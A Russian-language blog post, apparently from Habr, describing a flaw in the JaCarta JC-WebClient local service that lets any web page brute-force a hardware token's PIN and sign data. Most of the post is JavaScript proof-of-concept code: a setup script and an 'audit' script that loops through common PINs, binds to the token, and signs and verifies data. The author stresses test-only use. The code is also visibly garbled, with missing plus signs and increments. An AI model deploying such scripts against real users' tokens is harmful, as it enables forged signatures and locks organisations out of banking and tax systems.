Привет, Хабр! Наверное почти в каждой российской организации есть эти изделия в весёлой разноцветной раскраске. Речь идёт об изделиях JaCarta и софте к ним. Привалило такое счастье и мне, и я решил немного раздвинуть чёрный покров скрывающий их сущность, сиречь API. Некоторые банки, особенно выдающие своим клиентам токены JaCarta ГОСТ-2, для работы требуют установки приложения JC-WebClient от «Аладдин Р.Д.».

Хотя на официальном сайте разработчика свежего дистрибутива нет (в разделе Демо можно скачать более старую версию, но она использует устаревший API), дистрибутив можно найти с помощью гугла по строке «JC-WebClient-4.0.0.1186» на сайтах ДБО.

После установки приложения на компе пользователя открывается порт 24738 на котором работает этот клиент.

https://localhost:24738/JCWebClient.js

На сайте разработчика открыто и подробно описан API этого приложения (как и функции работы с файловой системой всей линейки токенов этого производителя через jcFS.dll, входящей в установочный пакет «Единый клиент JaCarta») и суть в том, что с помощью ряда функций можно или подписать ЭЦП находящейся на токене что угодно, подобрав пин код, или заблокировать токен неудачными попытками его ввода. И всё это дистанционно, через интернет.

Не секрет, что пользователи часто оставляют у токена пин код по умолчанию, или тот с которым его получили (обычно боятся, что при смене пин кода всё перестанет работать).

Чаще всего используются пин коды вида 123456, а токен в течении рабочего дня, а то и круглосуточно, воткнут в порт компа или usb хаба.

Благодаря JC-WebClient, если такому пользователю подсунуть вебстраницу или письмо с нехитрым JavaScript’ом, то появляется возможность хотя и не получить ключи токена (это в ряде случаев возможно только путём непосредственного доступа к файловой системе токена, пример здесь уже давался), но попытаться подобрать пин код и подписать какие-либо данные и куда-то их отправить.

В случае 10 неудачных попыток перебора токен блокируется, и как часто это бывает, если не установлен пин код администратора для разблокировки, то поможет только инициализация. А это не в срок уплаченные налоги (и как результат пени и даже блокировка расчётного счёта организации налоговой), неустойки от поставщиков, в общем хорошего мало.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Проблему с перебором пин кода можно было бы решить или сделав возможность его ввода только через интерфейсное окно JC-WebClient, или как полумера, в случае например 3-х неудачных попыток его ввода, блокировать дальнейшую авторизацию, выведя сообщение пользователю, и ожидать пока он не подтвердит свои действия.

Я написал небольшой тестовый скрипт, который показывает эту уязвимость. Скрипт работает на всех современных и относительно современных браузерах, даже IE 🙂

Естественно он ничего никуда не отправляет, а просто выводит на экран результаты работы последовательности функций.

В скрипте реализован полный перебор 10 попыток ввода пин кода «на убой» токена, поэтому запускать скрипт можно только с тестовым токеном!

Также следует помнить, что применение этого скрипта иначе кроме как на собственном тестовом токене является нарушением законодательства.

Результат тестирования:

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр
Скрипт генерации ключевой пары и сертификата средствами JC-WebClient для тестирования.
Использовать можно EToken PRO Java 72 K, JaCarta ГОСТ, JaCarta ГОСТ-2. Токен должен быть предварительно инициализирован с пин кодом пользователя 111111.

Перед началом тестирования необходимо установить JC-WebClient версии не ниже 4.

//Инициализация JCWebClient2
JCWebClient2.initialize();
document.write("JC-WebClient был успешно инициализирован" "
");

//Получаем версию JCWebClient2
var vers=JCWebClient2.getJCWebClientVersion();
document.write("Версия JCWebClient2 "   vers  "
");

//Получаем доступ к слотам и определяем число подключенных токенов
var slots = JCWebClient2.getAllSlots();
 document.write("Подключено токенов: " slots.length "
");

//Выводим модель токенов
for (i = 0; i < slots.length; i  ) {
   var slot = slots[i];
 document.write("Токен: " slot.device.name " " slot.device.model "
");
}

var tokenID = slot.id,        // Идентификатор токена
    userPin = '111111'; // PIN-код пользователя

// Проверить текущее состояние аутентификации на токене
// (должно равняться JCWebClient2.Vars.AuthState.notBinded)
var tokenState = JCWebClient2.getLoggedInState();
document.write('1) Token is binded: '   (tokenState.state == JCWebClient2.Vars.AuthState.binded) "
");

// Предъявить PIN-код
JCWebClient2.bindToken({
   args: {
      tokenID: tokenID,
      pin: userPin
   }
});

// Проверить изменившееся состояние
// (должно равняться JCWebClient2.Vars.AuthState.binded)
tokenState = JCWebClient2.getLoggedInState();
document.write('2) Token is binded: '   (tokenState.state == JCWebClient2.Vars.AuthState.binded) "
");

// Создать контейнер с ключевой парой и присвоить ему имя
var keyPairID = JCWebClient2.createKeyPair({
   args: {
      paramSet: "XA",
      description: "my description",
      algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2022_256
   }
});

// Задать отличительное имя пользователя (Distinguished Name (DN)),
// включающее стандартное имя (Common Name, (CN))
var dn = {
   'CN': '123',
   'C': 'RU'
};

// Задать расширения, определяющие область применения закрытого ключа
var exts = {
   'keyUsage': 'Digital Signature'
};

// Записать сертификат
var contID = JCWebClient2.generateUserSelfSignedCertificate({
   args: {
      keyPairID: keyPairID,
      dn: dn,
      exts: exts,
      days: 365
   }
});

//Массив информации на токенах
var list=[]; 

//Получаем список контейнеров
list = JCWebClient2.getContainerList({
   args: {
      tokenID: tokenID
   }
});

//Получаем id и информацию о созданном контейнере
var data = list[0];
var contID = data.id;
document.write("ID контейнера: " data.id " 
");
document.write("Описание контейнера: " data.description " 
");
document.write("Алгоритм подписи: " data.algorithm " 
");

// Отменить ввод PIN-кода
JCWebClient2.unbindToken();

И собственно сам скрипт аудита безопасности:

//Инициализация JCWebClient2
JCWebClient2.initialize();
document.write("JC-WebClient был успешно инициализирован" "
");

//Получаем версию JCWebClient2
var vers=JCWebClient2.getJCWebClientVersion();
document.write("Версия JCWebClient2 "   vers  "
");

//Получаем доступ к слотам и определяем число подключенных токенов
var slots = JCWebClient2.getAllSlots();
document.write("Подключено токенов: " slots.length "
");

//Выводим модель токенов
for (i = 0; i < slots.length; i  ) {
   var slot = slots[i];
   document.write("Токен: " slot.device.name " " slot.device.model "
");
                                   }
// Идентификатор токена
var tokenID = slot.id;        
   
// Проверить текущее состояние аутентификации на токене
// (должно равняться JCWebClient2.Vars.AuthState.notBinded)
var tokenState = JCWebClient2.getLoggedInState();
document.write('Token is binded: '   (tokenState.state == JCWebClient2.Vars.AuthState.binded) "
");

//Массив информации на токенах
var list=[]; 

//Получаем список контейнеров
list = JCWebClient2.getContainerList({
   args: {
      tokenID: tokenID
   }
});

//Получаем id и информацию о контейнере
var data = list[0];
var contID = data.id;
document.write("ID контейнера: " data.id " 
");
document.write("Описание контейнера: " data.description " 
");
document.write("Алгоритм подписи: " data.algorithm " 
");

// Данные для подписи (Hello World закодированное Base64)
var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; 
document.write("Данные для подписи: " dataToSign " 
");

//Массив пин кодов 
var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"];

//функция авторизации
function bind(pass)
{
JCWebClient2.bindToken({
   args: {
      tokenID: tokenID,
      pin: pass
   }
});
}

var i=0;
//Перебор пин кодов в цикле
//Осторожно! При 10 неверных попытках токен блокируется!!!!!!!!!!
while (i < 10) {
i  ;
try{
bind(pin[i]);
tokenState = JCWebClient2.getLoggedInState();
//Если атака удалась, выводим результат и завершаем цикл
if(tokenState.state=1) 
{
document.write("Успешно подобран пин код: " pin[i] "
");
break;
}
   }
//Вывод информации об ошибке
catch(e){document.write(e "
");}
   }

// Проверить изменившееся состояние
// (должно равняться JCWebClient2.Vars.AuthState.binded)
tokenState = JCWebClient2.getLoggedInState();
document.write('Token is binded: '   (tokenState.state == JCWebClient2.Vars.AuthState.binded) "
");

//Получаем содерижимое сертификата
var CertificateBody=JCWebClient2.getCertificateBody({
   args: {
      id: contID      
   }
});
document.write("CertificateBody:  " CertificateBody "
");

// Подписать данные, используя программное хэширование и вывести подписанное в Base64
var signedData = JCWebClient2.signBase64EncodedData({
   args: {
      contID: contID,
      data: dataToSign,
      attachedSignature: true
   }
});
document.write("Подписано успешно. 
");
document.write("Подписанные данные: " signedData " 
");

//Проверка подписи
var signature = signedData;
var res = JCWebClient2.verifyBase64EncodedData({
   args: {
      signature: signature
   }
});
document.write("Результат проверки подписи: " res " 
");

// Отменить ввод PIN-кода
JCWebClient2.unbindToken();

Источник информации по API JC-WebClient

Оцените статью
ЭЦП Эксперт
Добавить комментарий